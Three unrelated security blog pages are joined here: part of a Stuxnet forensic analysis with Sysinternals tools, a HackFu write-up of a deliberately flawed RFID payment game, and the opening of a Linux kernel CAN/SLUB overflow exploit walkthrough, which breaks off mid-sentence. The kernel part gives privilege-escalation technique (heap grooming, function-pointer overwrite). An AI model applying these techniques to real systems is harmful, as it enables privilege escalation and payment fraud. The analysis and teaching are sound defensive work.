<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/8508.image_5F00_thumb_5F00_2E03456D.png'
width='444' height='104' alt='image' />

That reduced the event count to 450, which is a more reasonable number, but I
saw still more events that I could exclude. The next set of events were the
System process reading and writing registry hive files. Hive files store
registry data, but it’s the registry operations themselves that are
interesting, not the underlying reads and writes to the hive files. Excluding
those reduced the event count to 350. I continued looking through the log,
adding additional filters to exclude other extraneous events. After I was done
filtering out all the background operations, the Filter dialog looked like
this \(some of the filters I added aren’t visible in the screenshot\):

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3884.image_5F00_thumb_5F00_5A6EC2F4.png'
width='354' height='339' alt='image' />

Now there were only 133 events and a quick glance through them confirmed that
they were all probably related to Stuxnet. It was time to start deciphering
them.

#### Stuxnet System Modifications

The first event in the remaining list shows Stuxnet, operating in the context
of Explorer, apparently overwriting the first 4K of one of its two initial
temporary files.

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3652.image_5F00_thumb_5F00_6B5BB0DD.png'
width='554' height='94' alt='image' />

To verify that the write was indeed initiated by Stuxnet and not Explorer.exe,
I double-clicked on the operation to open the Event Properties dialog and
switched to the Stack page. The stack frame directly above the NtWriteFile API
shows “<unknown>” as the Module name, which is Process Monitor’s indication
that the stack address doesn’t lie in any of the DLLs loaded into the process:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/0312.image_5F00_thumb_5F00_6AEF7DE8.png'
width='289' height='222' alt='image' />

If you are looking at stacks with third-party code you may also see <unknown>
entries when the code doesn’t use standard calling conventions, because that
interferes with the algorithm used by the stack tracing API on which Process
Monitor relies. However, when I looked at Explorer’s address space with VMMap,
I found a data region containing the unknown stack address 0x2FA24D5 that has
both write and execution permissions, a telltale sign of virus-injected code:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3542.image_5F00_thumb_5F00_51877AAE.png'
width='434' height='58' alt='image' />

The operations following those of Explorer.exe’s are those of an Lsass.exe
process creating four files - ~Dfa.tmp, ~Dfb.tmp, ~Dfc.tmp and ~Dfd.tmp - in
the account’s temporary directory. Many components in Windows create temporary
files, so I had to verify that these were related to Stuxnet and not to
standard Windows activity. A strong hint that Stuxnet was behind them is the
fact that the process ID \(PID\) of the Lsass.exe process, 300, doesn’t match
the PID of the system’s actual Lsass.exe process, which I identified in Part
1. In fact, the PID doesn’t match any of the three Lsass.exe processes that
were running after the infection, confirming that it’s another rogue Lsass.exe
process launched by Stuxnet.

To see how this Lsass.exe process relates to the others, I typed Ctrl+T to
open the Process Monitor process treeview dialog \(it can also be opened from
the Tools menu\). The process tree reveals that three additional Lsass.exe
processes executed during the infection, including the one with a PID of 300.
Their greyed icons in the treeview indicate that they exited before the
Process Monitor capture stopped:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3630.image_5F00_thumb_5F00_511B47B9.png'
width='220' height='174' alt='image' />

I now knew that this was a rogue Lsass.exe process, but I had to verify that
these temporary files weren’t just created by routine Lsass.exe activity.
Again, I looked at their stacks and saw the <unknown> module marker like I had
seen in the Explorer.exe operation’s stack.

The next batch of entries in the trace are where things really get
interesting, because we see Lsass.exe drop one of the two Stuxnet drivers,
MRxCls.sys, in C:\Windows\System32\Drivers and create its corresponding
registry keys:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/8171.image_5F00_thumb_5F00_3EE9C0F1.png'
width='554' height='134' alt='image' />

I double-clicked on the WriteFile operation to see its stack and observed that
the call to the CopyFileEx API meant that Stuxnet copied the driver’s contents
from another file:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/5102.image_5F00_thumb_5F00_777D2B04.png'
width='219' height='269' alt='image' />

To see the file that served as the source of the copy, I temporarily disabled
the write category exclusion filter by unchecking it in the filter dialog:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/1738.image_5F00_thumb_5F00_0251C254.png'
width='306' height='101' alt='image' />

That revealed references to the ~DFD.tmp file that was created earlier, so I
knew that file contained a copy of the driver:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3146.image_5F00_thumb_5F00_100CC855.png'
width='554' height='80' alt='image' />

A few operations later the System process loads Mrxcls.sys, activating the
driver:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/6811.image_5F00_thumb_5F00_1B346AA4.png'
width='554' height='71' alt='image' />

Next, Stuxnet prepares and loads its second driver, Mrxnet.sys. The trace
shows Stuxnet writing the driver first to ~DFE.tmp, copying that file to the
destination Mrxnet.sys file, and defining the Mrxnet.sys registry values:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/6445.image_5F00_thumb_5F00_687D8C24.png'
width='554' height='155' alt='image' />

A few operations later the System process loads the driver like it loaded
Mrxcls.sys.

The final modifications made by the virus include the creation of four
additional files in the C:\Windows\Inf directory: Oem7a.pnf, Mdmeric3.pnf,
Mdmcpq3.pnf and Oem6c.pnf. The file creations are visible together after I set
a filter that includes only CreateFile operations:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/0257.image_5F00_thumb_5F00_7D02DBA2.png'
width='355' height='69' alt='image' />

PNF files are precompiled INF files and INF files are device driver
installation information files. The C:\Windows\Inf directory stores a cache of
these files and usually has a PNF file for each INF file. Unlike the other PNF
files in the directory, there are no matching INF files matching the names of
Stuxnet’s PNF files, but their names make them blend in with the other files
in that directory. Like for the operations writing the driver files, the
stacks of these operations also have references to CopyFileEx, and disabling
the write-exclusion filter shows that their source files are also the
temporary files Stuxnet initially created. Here you can see Stuxnet copying
~Dfa.dmp to Oem7a.pnf:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/1830.image_5F00_thumb_5F00_7C96A8AD.png'
width='554' height='146' alt='image' />

All of the writes to these files are performed by the Lsass.exe process with
the exception of a few writes to Mdmcpq3.pnf by the infected Services.exe
process:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/3007.image_5F00_thumb_5F00_2CBE7E5B.png'
width='554' height='43' alt='image' />

When done with the copies, Stuxnet takes additional steps to make the files
blend in by setting their timestamp to match those of other PNF files in the
directory, which on the sample system is November 4, 2009. The
SetBasicInformationFile operation here sets the create time on Oem7a.pnf:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/1072.image_5F00_thumb_5F00_70CD6D27.png'
width='554' height='80' alt='image' />

Once Stuxnet has set the timestamps, it cleans up after itself by marking the
temporary files it created for deletion when it closes them \(the operations
deleting the other temporary files are in other parts of the trace\):

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/8371.image_5F00_thumb_5F00_65692868.png'
width='554' height='47' alt='image' />

It’s odd that Stuxnet writes temporary files and then makes copies of them,
but it doesn’t appear to be a significant aspect of its execution since no
Stuxnet research summary even mentions the temporary files.

One operation in the trace that I can’t account for, and for which I’ve seen
no explanation in any of the published Stuxnet analyses, is an attempt to
delete a registry value named
HKLM\System\CurrentControlSet\Services\Network\FailoverConfig:

<img src='http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-
Components-
WeblogFiles/00-00-00-52-36-metablogapi/2110.image_5F00_thumb_5F00_6CDAE4F6.png'
width='554' height='71' alt='image' />

That registry value and even the Network key referenced are not used by
Windows or any component I could find. A search of the executables under the
C:\Windows directory didn’t yield any hits. Perhaps Stuxnet creates the value
under certain circumstances as a marker and this code automatically runs to
delete it.

#### Next Steps

So far, our analysis of the Stuxnet infection with several Sysinternals tools
has documented Stuxnet’s system impact at the time of infection, method of
reactivation at subsequent boots, and provided a complete recipe for disabling
and cleaning Stuxnet off a compromised system. In Part 3 I’ll wrap up my look
at Stuxnet with the Sysinternals tools by examining how Stuxnet uses each of
the four PNF files it created in order to gain some idea as to their purpose.
I’ll also analyze a trace of a Windows 7 Stuxnet infection to show the method
by which Stuxnet took advantage of a zero day vulnerability on Windows 7
\(which has since been patched\) to gain administrative rights when it was
first activated with standard user rights. Stay tuned for Part 3.

# HackFu - HackFu Blog - How to Hack a Contactless Payment System

**Created:**| _6/8/2015 4:14:12 PM_  
---|---  
**Updated:**| _6/8/2015 4:14:12 PM_  
**Author:**| __  
**Tags:**| _wireless_  
  

# How to Hack a Contactless Payment System

May 6, 2015 at 11:43 AM

**By Martyn Ruks**

Anyone involved in security knows the old adage that as soon as you _think_
you are smarter than the bad guy then you have lost you battle with them.
After all it was Luke Skywalker that reminded us that overconfidence was the
Emperor’s weakness when the rebels were caught in an imperial trap \(Star Wars
conspiracy theories aside for a moment\). Likewise, anyone involved in cyber
security within the payment industry will know this better than anyone else.
No matter how sophisticated your solution and the security controls you
implement, the more ingenious and creative the attacker becomes. Sometimes
even those who are responding to security breaches in payment solutions have
to sit back and applaud the innovative way their controls were breached by a
cunning and resourceful attacker.

Back in the real world though we don’t want to find that our payment system
has been compromised to the point where we have incurred significant losses
either financially or reputationally. So what can we do about it? How do we
anticipate what the bad guys will do without simply waiting until the money is
gone and then seeing what they did to steal it? One answer to this problem is
to design and implement a payment system, put it in a hostile yet controlled
environment and then sit back and see what happens. So what better place is
there to try such a thing than at HackFu. By now you should know all about
this event and its purpose but if not then you can take a look here.

At HackFu 2014 we therefore built and ran our own payment system, for a number
of reasons. These included the ability to have an in-game currency as well as
seeing how some of the brightest minds in cyber security poked, prodded and
attacked a payment system. In this article we share some of what we learnt
from doing this, including how we designed and built the technology, how it
was used at the event and more importantly whether it survived the onslaught
from some of the best in the business at hacking payment systems. Let’s start
out by describing what we wanted our system to achieve and then we’ll explain
how we implemented it.

### **The Construct**

HackFu is a hacking event so first and foremost we wanted our payment system
to be a challenge for the teams as well as providing us with an opportunity to
learn about how they would actually attack it. We were also constrained by our
limited resources both in terms of time and money, so we needed to be
pragmatic about how we would do things. Therefore in terms of equipment we
could use we had a back-end Windows server, some USB RFID dongles, MiFare
Classic 1k RFID tags and some old, battered laptops to use.

We started out with a number of key objectives we wanted to achieve. The first
was that we wanted the teams to focus on the payment processing, not on the
back-end systems or networks. The latter are really important to protect but
we wanted them out of scope or infeasible to attack in the time available. We
also wanted the system to be hackable within the duration of the event, 48
hours, and we also wanted there to be logic based vulnerabilities that could
only be found by thinking through the problem and using real-world observation
to identify them. We also wanted there to be sufficient penalty for being
caught as well as plenty of reward for succeeding.

From our knowledge of the way people behave and specifically how they approach
events like HackFu we knew there were a number of factors to consider in the
scenario we provided for the teams. We summarise these as follows:

The potential reward for a successful attack must be high, therefore if one
team steals large sums of money they would win a large percentage of the
points on offer from this challenge.

Anyone who is caught abusing the system must have negative implications for
their team in the form of imprisonment or the individual otherwise being
unable to compete in the other challenges for a period of time.

Investigation of the system and security weaknesses requires an understanding
of MiFare Classic RFID tags as well as protocol and data format analysis and
therefore needed to be learned.

Remembering that there are so many other things going on at the event and this
is just one small part of the overall challenge so it can’t be too complex to
discover the vulnerabilities and execute the attack.

### **The Payment Solution**

Our payment system consisted of a fixed wired infrastructure solution, with a
back-end server and six Point of Sale \(POS\) terminals that then used
contactless technology for triggering the payments. These POS terminals were
Linux laptops with a full screen \(kiosk style\) browser based payment
application and a USB dongle RFID reader. The browser interfaced to a python
application on the POS that handled the NFC communications as well as the
back-end web service calls. Messing around with this application was out of
scope to the contestants as we simply didn’t have time to protect the system
from kiosk break-outs and physical tampering.

Each contestant at the event was issued an RFID wristband that could be used
to make transactions on any of the POS terminals as can be observed in the
images.

<img src='img/Temp2_3587.png' />

<img src='img/Temp2_3585.png' />

Each terminal was setup in an identical manner and allowed anyone with an
authorised RFID wristband to query their account details as well as send money
to any other user.

The high level architecture of the solution can be observed below as well as a
photo of one POS terminal in situ at the event.

<img src='img/Temp2_3588.png' />

<img src='img/Temp2_3586.png' />

The POS terminals were all configured to interact with a back-end web service
that was protected using TLS, client certificates and other network based
security controls. By including these controls we were focussing people’s
efforts on how the system interacts with the data held on the RFID cards
themselves and any security weaknesses at that point in the payment process.
The application running on the POS was designed to be easy to use and allowed
individuals to make payments themselves without a third party merchant being
involved.

If a user simply presented their RFID wristband to the reader then information
about the user’s account would be displayed, including the amount of money in
their account and their bank account details. Alternatively a user could
select one of the three on-screen options illustrated in the following
screenshot:

<img src='img/Temp2_3589.png' />

The icon on the left enabled them to transfer money from their own account
into the team’s vault \(where it was guaranteed safe by the bank\). The icon
on the right enabled money to be withdrawn from the vault and moved into the
user’s account. Each of these options required a single RFID wristband to be
presented to the reader.

The middle icon enabled a transaction to be completed between two users and
when selected prompted the users to touch their wristbands to the reader in
turn before requesting a transaction value to be entered. The sender then had
to confirm the transaction by touching their tag to the reader again. The
system proved to be robust and with the combination of python application,
.NET web services and SQL server back-end provided a 100% uptime and a back-
end failed transaction rate of less than 0.5% The majority of these were
caused by the user removing their tag from the reader too soon and when the
tag was presented again resulted in the transaction being successful for the
user. So the front-end success rate of transactions, where unauthorised
activity was not attempted, was 100%. Not bad for a do-it-yourself payment
system\!

### The Reward

At HackFu 2014 the winning team was the one who gained the most points over
the course of the event. So to incentivise teams to earn money \(either
legitimately or illegitimately\) it was decided that a large pool of points
would be allocated to this challenge and distributed in proportion to the
amount of money in each of their team members’ bank accounts at the end. So if
a team made lots of money through good business practices they would be
rewarded for it but if they could steal large amounts of money they could gain
an even bigger advantage and therefore earn a greater percentage of the
points. The ultimate victory in this challenge would therefore be for a team
to have all the currency in circulation in their accounts at the end of the
game. In this situation they would win all the points allocated to this
challenge for themselves. If this were to happen it would result in a massive
swing in the gameplay and could determine who the final winner of the event
would be.

### The Law

In order to provide a realistic environment within which to operate the
system, a basic legal framework was constructed that provided some ground
rules for the team as well as acting as a genuine deterrent from attacking the
system. The legal framework therefore consisted of a basic set of laws about
what activities were permitted and which were not.

This was implemented in two different ways, firstly there were the detection
mechanisms that were built in to the system that would automatically raise the
wanted level of an individual if they tried to process a transaction that
didn’t conform to the rules. Anyone whose level rose to the highest level
would then have a bounty on their head, which could be claimed by the other
teams at the expense of the perpetrator who would be locked up and requiring
their team-mates to bail them out of prison.

The second aspect of the legal framework was a guarantee of all money stored
within the team’s vault. This was a special account that teams could only move
money to and from when using their team’s wristbands and could not otherwise
be attacked. Or at least if it was the bank would guarantee their money so
that they weren’t penalised for an unforeseen vulnerability.

### The Results

Over the 48 hours that the event ran for there were a total of 507
transactions across the six payment terminals. There were 78 unique senders
and 87 unique receivers of money, with one person being responsible for making
98 of the total transactions. The average value for a transaction was
relatively consistent across each payment terminal and was in the region of
$60 \(for reference a frosty beer would cost you $3 in TJ’s Saloon\). So this
shows us that the financial system was used for far more than simply buying
drinks at the bar. In fact the transaction stats match what we observed
ourselves, namely that the financial system was used by the teams to trade
information as well as to research and investigate the workings of the system
itself.

What we also observed was that the large transaction volumes were concentrated
within a core group of about 10 people. Transactions involving the transfer of
large sums of money were also primarily the result of one individual out of
total of approximately 90 attendees. Things get even more interesting when we
look at the status of each transaction. The breakdown of these was as follows:

  * Success - 383 
  * Insufficient Funds – 56
  * Attempt to steal from the vault – 6
  * Invalid Transaction Code - 27
  * Source account number invalid – 2
  * Destination sort code invalid - 24
  * Others - 9

So that gives you an idea about the scale of the system and its use, so what
about the really interesting stuff? How many people tried to compromise the
system and how many succeeded? Before we look at what the scale and success of
the attacks was its worth reflecting on how we expected people to find their
way to “loadsamoney”.

### **The Route to the Money**

In order to exploit the vulnerabilities in the system and steal money from
other bank accounts there were a number of things that the teams needed to
understand. All of these could be discovered from observation, using the
system legitimately and then only after that, attempting to use it
illegitimately. The logic behind the challenge was therefore as follows:

  * Teams were provided with the encryption key for all the sectors on their own RFID tags, meaning they could easily recover their own data.
  * Gaining access to data on other team’s tags would be difficult unless long term physical access was gained to an RFID tag so that their unique encryption key could be cracked.
  * The RFID cards were not locked and therefore the sectors that were important to the transaction process could be overwritten as needed.
  * The source and destination bank accounts were read from the data stored on the sender and receiver’s tag and were not retrieved from the tag identifier.
  * Only legitimate RFID tags issued to the teams \(i.e. those with identifiers that were registered in the back-end system\) could be used and tampering with these hard coded identifiers was not permitted within the rules of the game. 
  * The bank account number stored on the RFID tag was not linked to the tag’s hardcoded identifier in the transaction processing code executed on the back end system.
  * The security of transactions was protected by a field \(a SHA-1 hashed integer value between 1 and 512\) which was stored on one sector of the tag. The identifier was incremented by one and hashed before being rewritten to the card by the payment terminal on receipt of successful transaction status from the back-end.
  * The hash of any of the subsequent 50 identifier values from the current value would be accepted by the system.
  * The bank account numbers and identifier used in each transaction was displayed to the user on the payment terminal.
  * Valid account numbers for users of the system could be calculated from a “sample” value provided to the teams. Identification of this would require a team to perform analysis of how their own team’s account numbers had been constructed \(i.e. using rot-97 and sequenced from the sample value\).
  * A user was not flagged as being wanted by the authorities until 5 unauthorised transaction attempts had been made from their RFID tag.

By understanding all of this information it would therefore be possible for
someone to steal any money sat in another user’s account. The methods for
doing this could either by shoulder surfing the data values displayed on a
payment terminal or deriving them and using “intelligent” brute forcing. It
was therefore possible for teams to steal any money that had not been safely
stored away in the team’s own vault. Once teams had gained this capability the
type of unauthorised activity that would have been possible would have created
a hostile operating environment for teams to perform transactions in but with
smart use of the team vaults, would not have led to widespread fraud or money
stealing without falling foul of the law.

What teams may also have noticed though is that there was another fundamental
vulnerability in the system that could be used to steal far more money and
with far lower risk of being caught. To use this flaw the teams were required
to spot the following:

  * That negative transactions values were permitted, the result being that the money was transferred from the destination tag to the source.
  * The transaction Identifier was only checked on the source tag, not on the destination when a transaction was processed.
  * When a negative transfer was completed the identifier check still took place on the first tag presented \(supposedly the sender\) but in this scenario the sender was now the second tag. 

As a result it would be the destination tag’s transaction identifier that was
checked, all of this would be data that was known to the attacker. For the
sender’s tag they would only need to know an account number and not a valid
transaction identifier for that account.

As a result of this logic flaw in the payment system it was possible to
transfer money from any bank account. By discovering the bank account numbers
for some of the in-game characters it would then be possible to steal money
from them that was not technically in circulation and thereby significantly
alter the percentage of money in the possession of a team as well as
increasing their bank balance.

### The Criminals

So after placing a clearly vulnerable system in the middle of an event full of
hackers, what did we see? The one key thing we observed was that the deterrent
that was put in place was largely effective in preventing large scale or
widespread attempts to abuse the system. This is evidenced by the level of
casual unauthorised investigation that was attempted. Of the 80 unique users,
only roughly 10% of them had a transaction fail for a security violation. That
number would be quite high for a transaction system in use by the general
population but for a group of hackers we feel that it is quite a low
percentage. What was more evident was that the vast majority of these
attackers did not attempt any further unauthorised activity, probably as a
result of the warning messages returned and the other punishments in place as
deterrents.

So, despite the potential big upside for any successful attack, the legal
framework and resulting impact on the teams’ chances of winning the event
clearly had an impact on security. However, as you might expect it did not
stop the teams from attempting to attack the system. It was discovered that
the most common reason for a transaction failing was the presence of an
unauthorised identifier value being present on the card. This was observed in
log messages where an attacker rewrote the bank account number on their card
to another person’s but did not set the correct transaction identifier for
that account. By observing the transaction logs it quickly became clear that
the users who failed in this way had not correctly analysed the system and had
not systematically sought to understand and document how the system worked.
This is indicative of the opportunistic attacker, one who knows enough to
experiment but who isn’t determined enough to break the problem down in order
to find the weaknesses. These are therefore the easiest to defend against and
to detect as well as being the most prevalent.

What was also observed was that whilst there were roughly ten opportunistic
attackers at work there was only one persistent and determined attacker in the
whole of the user base. Therefore, of the five teams who were investigating
the system only one discovered enough of the information about its security to
perform a successful attack.

Analysis showed us that this persistent attacker systematically sought to
understand and query how the system worked. They completed numerous low value
transactions and observed the results. They tested assumptions about the
security controls and also attempted low value unauthorised use of this
system. As a result of this they actually tripped the fraud detection
threshold after making a number of failed transactions, something that ended
up with them being arrested. However, given the low value nature of the crime
and after being given a slap on the wrist they were released and returned to
their team where they continued to attack the system.

After clearly pondering the reasons for the fraud detection being tripped,
they refined their attack and eventually identified all of the vulnerabilities
needed to steal lots of money.

Therefore, from roughly 80 active users of the system, only one of them fully
implemented the attack described above. After stealing $1 million from an in-
game character, plus a few hundred dollars from other teams, their team ended
up with 99.9% of the money in circulation and therefore won the same
percentage of the points that were available.

### **The Conclusion**

Payment systems will always be an attractive target for attackers and in our
not-very-scientific experiment conducted at HackFu 2014 we showed that
vulnerabilities in a system will be spotted and exploited by the bad guys when
the reward for doing so is great enough. However, even within the context of a
game we also showed a number of things that relate directly to real-world
payment systems:

  * If a payment system is present and accessible to users it will be used to trade items of value.
  * Legal deterrents will stop wide-spread attempts to exploit the system for direct financial gain.
  * There will be a background level of casual or unsophisticated attacks, operating within the threshold established by the deterrents that are put in place.
  * Where the reward is great enough individuals will ignore the deterrents in an effort to discover vulnerabilities.
  * The determined or persistent offender will often be detected or even caught at an early stage in their investigation; although this may spur them on to achieve their goal without further detection.
  * A small subset of determined and persistent attackers will continue to probe the system until they achieve their objective.

Now these conclusions may not sound new or surprising to you, especially if
you work in the payment industry. However, they do highlight that it is
possible to replicate a payment processing environment and observe how it is
probed and attacked in a realistic manner, without needing to invest large
sums of money or put large sums of money at risk. It’s also another way of
highlighting that we can teach and nurture the skills we need to protect
ourselves if we use the right approaches and formats to do so. We therefore
certainly feel that HackFu is a very effective way of doing that teaching, and
what we can learn from doing so is not always what we might expect.

# jon.oberheide.org - blog - linux kernel can slub overflow

**Created:**| _11/27/2010 11:30:11 AM_  
---|---  
**Updated:**| _11/27/2010 11:30:46 AM_  
**Author:**| __  
**Tags:**| _Exploit Linux kernel awesome_  
  

# Linux Kernel CAN SLUB Overflow

Ben Hawkes discovered a vulnerability in the Controller Area Network \(CAN\)
packet family in the Linux kernel that results in a controllable overflow of a
SLUB-allocated structure. As there’s not a whole lot of modern, public
examples of SLUB overflow exploits, I’ll describe my exploit of the CAN
vulnerability in detail.

## The Vulnerability

Ben provides the full details of the vulnerability in his blog post:

> _A controller area network is backed by the AF\_CAN datagram socket type.
> This socket is enabled by the CONFIG\_CAN kernel configuration option, so
> any kernel compiled with CONFIG\_CAN and CONFIG\_CAN\_BCM options were
> vulnerable. This included at least Ubuntu 10.04 and Debian 5.0 \(i’m told a
> pre-release version of Red Hat was also affected\)._
> _The bug is an integer overflow in the sendmsg implementation for BCM
> \(broadcast manager\) AF\_CAN sockets which results in controlled corruption
> of a kmalloc heap chunk. No physical CAN device is required to trigger the
> overflow._
> _The bcm\_sendmsg function in net/can/bcm.c reads in a bcm\_msg\_head
> structure from a user-supplied iovec:_
[code]

>     struct bcm_msg_head {
>          __u32 opcode;
>          __u32 flags;
>          ...
>          canid_t can_id;
>          __u32 nframes;
>          struct can_frame frames[0];
>     };
>  
>  
[/code]

> _The opcode field dictates the type of message processing that should be
> performed by bcm\_sendmsg. The vulnerability is in the RX\_SETUP operation,
> which is backed by the bcm\_rx\_setup function in net/can/bcm.c \(comments
> marked with BH\):_
[code]

>     #define CFSIZ sizeof(struct can_frame)
>  
>     static int bcm_rx_setup(struct bcm_msg_head *msg_head, ...
>      // BH: the ifindex parameter is set to zero if
>      // BH: msg->msg_name is NULL
>      ...
>  
>      op = bcm_find_op(&bo->rx_ops, msg_head->can_id,
>                       ifindex);
>      // BH: by setting can_id to 0xdeadbeef, a NULL op
>      // BH: is returned
>      if (op) {
>          ...
>      }
>      else {
>         op = kzalloc(OPSIZ, GFP_KERNEL);
>  
>         if (!op)
>            return -ENOMEM;
>  
>         op->can_id    = msg_head->can_id;
>         op->nframes   = msg_head->nframes;
>         // BH: nframes is controlled by the attacker
>  
>         if (msg_head->nframes > 1) {
>            op->frames = kmalloc(
>                           msg_head->nframes * CFSIZ,
>                           GFP_KERNEL);
>            // BH: integer overflow here, large nframes
>            // BH: wraps around to cause a small alloc
>            ...
>  
>         }...
>  
>         if (msg_head->nframes) {
>            err = memcpy_fromiovec((u8 *)op->frames,
>                             msg->msg_iov,
>                             msg_head->nframes * CFSIZ);
>            // BH: size field overflows to same value as
>            // BH: the allocation, no corruption
>                           ...
>         } ...
>  
>         do_rx_register = 1
>      }
>  
>      ...
>      if (do_rx_register) {
>         if (ifindex) {
>            // BH: ifindex is zero, as noted above
>            ...
>         } else
>            err = can_rx_register(NULL, op->can_id,
>                             REGMASK(op->can_id),
>                             bcm_rx_handler, op, "bcm");
>  
>             // BH: can_rx_register explicitly
>             // BH: allows registering to a NULL device
>  
>             if (err) {
>                ...
>             }
>         }
>     ...
>  
>  
[/code]

> _Now at this point no memory corruption has occurred, but there is a bcm\_op
> structure registered for the NULL device under a can\_id of 0xdeadbeef with
> a large value for nframes \(e.g. nframes = 268435458\) and a small
> allocation for the frames buffer \(e.g. 32 bytes\). If the RX\_SETUP
> operation is called again on this operation structure, but this time with a
> mid-sized nframes value \(e.g. nframes = 512\), then the following ‘update’
> code in bcm\_rx\_setup is invoked:_
[code]

>     op = bcm_find_op(&bo->rx_ops, msg_head->can_id, ifindex);
>     // BH: op struct for 0xdeadbeef is returned
>  
>     if (op) {
>        // BH: 512 < 268435458
>        if (msg_head->nframes > op->nframes)
>           return -E2BIG;
>  
>        if (msg_head->nframes) {
>           // BH: writes 8192 attacker-controlled bytes
>           // BH: in to a 32-byte buffer
>           err = memcpy_fromiovec((u8 *)op->frames,
>                            msg->msg_iov,
>                            msg_head->nframes * CFSIZ);
>           ...
>        }
>     }
>  
>  
[/code]

> _This means that it’s possible to corrupt any amount of data contiguous to
> the original ‘frames’ kmalloc chunk with an attacker-controlled value. The
> tough part from here is finding a good way of normalizing the heap layout to
> get a consistent \(aka exploitable\) crash. Needless to say that, with a bit
> of work, you can get an arbitrary kernel-space write._
## SLUB Overflows

Exploiting a SLUB overflow requires a little knowledge about the SLUB
allocator and how its caches are structured. The SLUB allocator manages many
of the dynamic allocations and deallocations of internal kernel memory and is
a descendant of the SLAB allocator. The kernel maintains a number of SLUB
caches, distinguished by size for allocation efficiency. Some caches are
general-purpose \(eg. the “kmalloc-64″ cache holds allocations that are of
size <= 64 bytes but > 32 bytes\) while others are explicitly defined for
commonly allocated structures \(eg. the “task\_struct” cache contains the
allocations for the kernel structure task\_struct\).

Each “slab” in a cache contains a number of contiguous allocations of some
object. For example, the “kmalloc-32″ cache contains 128 objects each with a
maximum size of 32 bytes \(32\*128=4096, which is PAGE\_SIZE on many
systems\). The allocator keeps track of free slots in each slab, so a typical
slab may have both used and free slots and look something like the following:

<img src='img/Temp2_10424.png' width='500' height='170' />

### Overflowing a SLUB Allocation

A key aspect of the SLUB allocator is that objects in a slab are allocated
contiguously. Therefore if we can write past the intended bound of an
allocation, we may be able to influence adjacently allocated objects:

<img src='img/Temp2_10425.png' width='500' height='142' />

So, if we can overflow into an adjacent allocation, how can we convert that
control of data into controlling the execution flow of the kernel? Ideally,
we’d like to find a structure allocated in our SLUB cache that contains
function pointers. If we can overwrite a function pointer in the kernel with a
value we control, we can easily redirect control flow to an address of our
choosing and escalate privileges.

However, in many cases, the allocated structure might not itself contain a
function pointer, but may reference a number of additional structures, one of
which contains a function pointer. A popular target for SLUB overflows that
satisfies this condition is shmid\_kernel, an internal kernel structure used
to track POSIX shared memory segments:

[code]

    struct shmid_kernel /* private to the kernel */
    {
        struct kern_ipc_perm     shm_perm;
        struct file *            shm_file;
        unsigned long            shm_nattch;
        unsigned long            shm_segsz;
        time_t                   shm_atim;
        time_t                   shm_dtim;
        time_t                   shm_ctim;
        pid_t                    shm_cprid;
        pid_t                    shm_lprid;
        struct user_struct      *mlock_user;
    };
    
    
[/code]

It is an attractive target since its allocations are easily controlled from
unprivileged userspace applications \(via shmget\(2\), shmat\(2\),
shmctl\(2\), etc\), the allocations stay active even after process
termination, and it references a chain of structures that eventually leads to
a function pointer that is controllable and triggerable by the attacker. If we
construct fake versions of these structures and reference them during the
overflow, we can control the function pointer. For shmid\_kernel, the chain of
structures that leads to a controllable mmap function pointer looks like:

[code]

    struct shmid_kernel {
        .shm_file = struct file {
            .f_op = struct file_operations = {
                .mmap = ATTACKER_ADDRESS
            }
        }
    }
    
    
[/code]

It’s important to note that shmid\_kernel is not the only eligible structure
for SLUB overflows. For vulnerabilities where we can control the size of the
allocation, shmid\_kernel works great since we can ensure that our allocation
is sized properly to be co-located in the same cache as shmid\_kernel.
However, for vulnerabilities where the size of the overflowed allocation is
not in our control, it is necessary to find an alternate structure allocated
in the same cache that meets the desired properties.

### SLUB Feng Shui

As is common with exploiting overflows in dynamic memory allocators, the state
of the cache and slab is critical to exploitation. If we cannot reliably
control the state of the slab during our allocations and overflow, we will
likely crash the target machine.

A slab state that is fragmented and contains many holes is not ideal for
exploitation since we might overflow into an unused slot or an allocation
other than our target one:

<img src='img/Temp2_10421.png' width='500' height='143' />

The easiest way to massage the SLUB into a more friendly state is to force a
large number of shmid\_kernel allocations, reducing the potential for
fragmentation and increasing the likelihood that our overflowing allocation
will be adjacent to a shmid\_kernel allocation:

<img src='img/Temp2_10423.png' width='500' height='146' />

To further improve reliability, we can use /proc/slabinfo if it is available
